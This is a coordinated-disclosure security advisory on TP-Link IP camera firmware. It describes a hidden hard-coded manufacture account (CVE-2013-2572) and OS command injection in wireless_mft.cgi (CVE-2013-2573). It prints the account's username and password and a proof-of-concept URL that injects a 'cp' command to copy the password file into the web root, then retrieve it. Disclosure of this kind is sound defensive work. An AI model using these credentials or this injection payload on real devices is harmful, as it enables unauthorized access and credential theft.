**Date published:**2013-05-28
**Date of last update:**2013-05-28
**Vendors contacted:**TP-Link
**Release mode:**Coordinated release
**Class:**Use of hard-coded credentials [CWE-798], OS command injection [CWE-78]
**Impact:**Code execution, Security bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2013-2572, CVE-2013-2573
Multiple vulnerabilities have been found in TP-Link IP cameras based on firmware v1.6.18P12 and below, that could allow an unauthenticated remote attacker:
Tests and PoC were run on:
Other TP-Link cameras and firmware versions are probably affected too, but they were not checked.
Vendor provides the links to patched firmware versions. This software is beta, TP-Link will release the final versions with release notes and some new functions and fixes in the following days.
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
[CVE-2013-2572] TP-Link IP cameras use the Boa web server, a popular tiny server for embedded Linux devices. boa.conf
is the Boa configuration file, and the following account can be found inside:
# MFT: Specify manufacture commands user name and password MFT manufacture erutcafunam
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in /cgi-bin/mft/
:
manufacture.cgi
wireless_mft.cgi
The last file contains the OS command injection showed in the following section.
[CVE-2013-2573] The file /cgi-bin/mft/wireless_mft.cgi
, has an OS command injection in the parameter ap
that can be exploited using the hard-coded credentials showed in the previous section:
username: manufacture password: erutcafunam
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales
Afterwards, the user credentials can be obtained by requesting:
http://192.168.1.100/credenciales
